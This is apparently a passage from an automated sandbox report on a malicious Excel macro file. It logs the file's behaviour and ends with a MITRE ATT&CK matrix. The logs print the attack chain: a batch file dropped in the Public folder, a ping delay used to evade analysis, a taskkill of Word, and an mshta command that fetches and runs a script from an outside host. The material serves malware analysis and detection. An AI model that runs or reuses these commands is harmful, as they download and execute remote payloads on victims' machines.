Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsOLE, VBA macro line: sFile = Environ("Public") & "\Outlook.bat"
Source: VBA code instrumentationOLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open, String environ: sFile = Environ("Public") & "\Outlook.bat"Name: Workbook_Open
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsOLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentationOLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_OpenName: Workbook_Open
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsOLE indicator, VBA macros: true
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsMetadefender: Detection: 26%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsReversingLabs: Detection: 41%
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L................................z ......................G=....................... .............8...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>.........3J.... .5J............h.......2.................3J....Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............c.a.l.l........./....................... ........$1J............/...............H...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L............... .g.e.t.C.m.d.P.i.d...b.a.t. ............B=.....c.a.l.l........... .............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............................i.d...b..................B=.....c.a.l.l........... .............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ..................1J....................................@c5J..... .........................v............P.......................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L................................z ......................G=....................... .............8...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>.........3J.... .5J............h.......2.................3J....Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............s.e.t.........../....................... ........$1J............/...............H...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L............... .P.I.D.=.1. ............................B=.....s.e.t............. .............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L........................................................B=.....s.e.t............. .............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L.................................$......................G=....................... .............8...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L............... .w.i.n.d.o.w.M.o.d.e...b.a.t. .-.p.i.d. .1. .-.m.o.d.e. .h.i.d.d.e.n. .................H.......................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............................o.d.e....................B=.....m.o.d.e........... .............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ..................1J....................................@c5J..... .........................v............P.......................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L................................z ......................G=....................... .............8...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............c.d............./....................... ........$1J............/...............H...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L............... .C.:.\.U.s.e.r.s.\.P.u.b.l.i.c. ........B=.....c.d............... .....................".......................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............................s.\.P.u..................B=.....c.d............... .............................................Jump to behavior
Source: C:\Windows\System32\taskkill.exeConsole Write: ................8...............................d1K.......................c.............d...............e.c.............X.......B.........C.....Jump to behavior
Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txtJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = &quot;WINWORD.EXE&quot;)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\Public\Outlook.batJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVR5253.tmpJump to behavior
Source: classification engineClassification label: mal92.troj.expl.evad.winXLS@11/87@4/4
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SettingsJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
Source: C:\Windows\System32\mshta.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

Malware Analysis System Evasion

barindex
Uses ping.exe to sleep
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\taskkill.exe TID: 1916Thread sleep time: -60000s >= -30000sJump to behavior
Source: C:\Windows\System32\mshta.exe TID: 2484Thread sleep time: -60000s >= -30000sJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\mshta.exeMemory protected: page read and write | page guardJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txtJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\System32\Macromed\Flash\activex.vch VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid Accounts1
Windows Management Instrumentation		Path Interception11
Process Injection		1
Masquerading		1
Input Capture		1
Virtualization/Sandbox Evasion		Remote Services1
Email Collection		Exfiltration Over Other Network Medium1
Encrypted Channel		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default Accounts1
Command and Scripting Interpreter		Boot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
Modify Registry		LSASS Memory11
Remote System Discovery		Remote Desktop Protocol1
Input Capture		Exfiltration Over Bluetooth4
Ingress Tool Transfer		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain Accounts121
Scripting		Logon Script (Windows)Logon Script (Windows)1
Virtualization/Sandbox Evasion		Security Account Manager1
System Network Configuration Discovery		SMB/Windows Admin Shares1
Clipboard Data		Automated Exfiltration3
Non-Application Layer Protocol		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local Accounts23
Exploitation for Client Execution		Logon Script (Mac)Logon Script (Mac)11
Disable or Modify Tools		NTDS1
File and Directory Discovery		Distributed Component Object ModelInput CaptureScheduled Transfer14
Application Layer Protocol		SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script11
Process Injection		LSA Secrets14
System Information Discovery		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.common121
Scripting		Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.